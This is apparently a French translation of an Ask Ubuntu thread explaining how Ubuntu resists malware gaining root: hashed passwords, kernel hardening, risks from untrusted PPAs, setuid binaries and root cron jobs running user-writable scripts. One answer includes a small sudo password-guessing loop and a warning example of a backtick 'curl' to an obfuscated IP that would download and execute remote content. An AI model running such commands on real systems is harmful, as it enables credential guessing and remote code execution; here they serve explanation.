Comment le système est-il sécurisé?


24

Je comprends que si un logiciel malveillant fait son chemin dans un système Linux, il obtiendra tout au plus un privilège au niveau de l'utilisateur et ruinera tout ce qui est à la portée de l'utilisateur particulier, c'est-à-dire ses propres fichiers.

Mais qu'est-ce qui empêche exactement les malwares d'accéder au niveau racine? Ne peut-il pas en quelque sorte casser le mot de passe de l'intérieur?


Grande question et réponses!
NlightNFotis

Réponses:


20

C'est une question complexe. Il existe de nombreuses couches de sécurité différentes dans un système Ubuntu, des frameworks complexes comme AppArmor aux humbles variables du noyau comme mmap_min_addr. Vous pouvez ajouter des fonctionnalités du noyau comme la randomisation de la mémoire dans le mix. Vous pouvez en trouver une liste ainsi que des explications rapides sur le wiki Ubuntu .

Un autre facteur important est que les mises à jour sont à la fois rapides et faciles - la plupart des ordinateurs seront donc mis à jour avec les derniers correctifs de sécurité.

Pour autant que je sache, un attaquant qui a obtenu un accès local à votre ordinateur dispose de trois méthodes pour augmenter les privilèges du noyau:

  1. Crack le mot de passe. Mais cela va être vraiment difficile, le mot de passe est stocké crypté, en utilisant des algorithmes sans faille connue. Il faudra du temps pour le casser.

  2. Bug dans le noyau. Mais toutes les fonctionnalités de sécurité du noyau entraveront.

  3. Tromper l'utilisateur pour donner le mot de passe, c'est-à-dire l'ingénierie sociale. Affichez simplement un faux dialogue de mot de passe ou utilisez une autre astuce. C'est la façon la plus simple de le faire.

Le troisième point est la vulnérabilité la plus faible actuellement.


5
Notez que ce "mot de passe" est le mot de passe d'un utilisateur avec des privilèges sudo-root. Le compte root est désactivé par défaut. # 3 est en effet la chose la plus possible à se produire. De plus, si vous installez des référentiels non approuvés, vous distribuez des comptes racine gratuits à ce référentiel.
Lekensteyn

@Lekensteyn, quoi?! Comment l'ajout de dépôts non approuvés distribue-t-il l'accès root? Au fait, vous voudrez peut-être le poster comme réponse, je veux que ce fil soit une sorte de wiki communautaire.
Oxwivi

Il n'existe aucun thread sur askubuntu, à part les processus serveur. Vous venez de publier un commentaire sur une réponse à votre question . J'ai ajouté une réponse avec matière à réflexion.
Lekensteyn

@Oxwivi Lorsque vous ajoutez un PPA et installez un package, le package contient des scripts de préinstallation et de postinstallation qui peuvent faire ce qu'ils veulent. Il peut également installer un service pour s'exécuter en tant que root ou jouer avec sudoers.
Rétablir Monica - ζ--

15

Le crackage du mot de passe root lui-même n'est pas possible, car Ubuntu a désactivé l'utilisateur root par défaut. Cependant, si votre utilisateur peut devenir root via sudo et que votre mot de passe est facile à deviner / force brute, vous avez un système non sécurisé. Exemple de script essayant de tester un mot de passe:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

L'ajout d'un référentiel non approuvé permet d'installer les programmes de ce référentiel. Même si vous n'installez pas explicitement une application comme sudo apt-get install [app-from-repo], le référentiel peut toujours affecter d'autres programmes en faisant croire à Ubuntu que le référentiel contient une version plus récente d'un certain programme.

Le processus de mise à jour est exécuté en tant que root, sinon les fichiers n'ont pas pu être écrits dans /usr/binou /etc. Un déclencheur d'installation est également exécuté en tant que root et peut s'exécuter de manière arbitraire, et éventuellement, des commandes nuisibles. Maintenant, ne vous inquiétez pas, une action manuelle est nécessaire pour mettre à jour les programmes et les référentiels Ubuntu sont sûrs. Les logiciels à source fermée comme Windows ne peuvent jamais être entièrement fiables car vous ne pouvez pas vérifier la source de code malveillant, mais vous pouvez consulter la source de l'application Ubuntu si vous en avez besoin (ne s'applique pas aux programmes propriétaires comme sun-java6ou Flash).

Comme mentionné par Javier Rivera, les bogues du noyau peuvent conduire à l'exécution de code arbitraire, mais les logiciels bogues sont également dangereux, en particulier les setsuidbinaires racine bogués (binaires qui s'exécuteront sous le propriétaire du fichier, root) et d'autres programmes bogués fonctionnant en tant que root.

Vous pouvez créer des failles de sécurité sur votre système si vous ne faites pas attention à ce que vous faites. Par exemple, sans bien comprendre le concept de cronjobs, vous avez ajouté un cronjob dans /etc/cron.dailylequel s'exécute un programme dans votre dossier d'accueil (par exemple /bin/sh /home/your-username/myscript.sh. Si le fichier myscript.sh est accessible en écriture par vous, vous pouvez le supprimer, un exploit pourrait mettre un programme malveillant code dans myscript.shlequel serait exécuté en tant que root (élévation de privilèges).

Pour rester en sécurité, utilisez votre esprit! N'exécutez pas de commandes à partir de sources non fiables si vous ne savez pas ce qu'il fait. Si quelqu'un dit courir `curl 3221233674`avec des tiques arrières, ne le faites pas. 3221233674 est une autre façon d'écrire 192.0.32.10(IP de example.com). Donc, ce serait égal à:

`curl http://example.com/`

Ces back-ticks entraînent l'exécution de la sortie sous forme de commandes shell. En clair, "Téléchargez la page http://example.com/ et essayez d'exécuter la page téléchargée".

Au début, vous ne verriez pas quelque chose de malveillant dans la commande donnée. Mais maintenant, vous savez que ça peut aussi être abusé.

Vérifiez toujours les commandes / scripts que vous obtenez à partir de sources non fiables, comme Internet.


1
Merci pour la réponse, j'espère que cela ne vous a pas dérangé mes modifications. Prenez note de mes modifications pour améliorer votre anglais.
Oxwivi

2
Non, ça ne me dérange pas. Chaque amélioration est la bienvenue :)
Lekensteyn

Quoi qu'il en soit, c'est un excellent article, les points que vous avez mentionnés doivent être notés!
Oxwivi
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.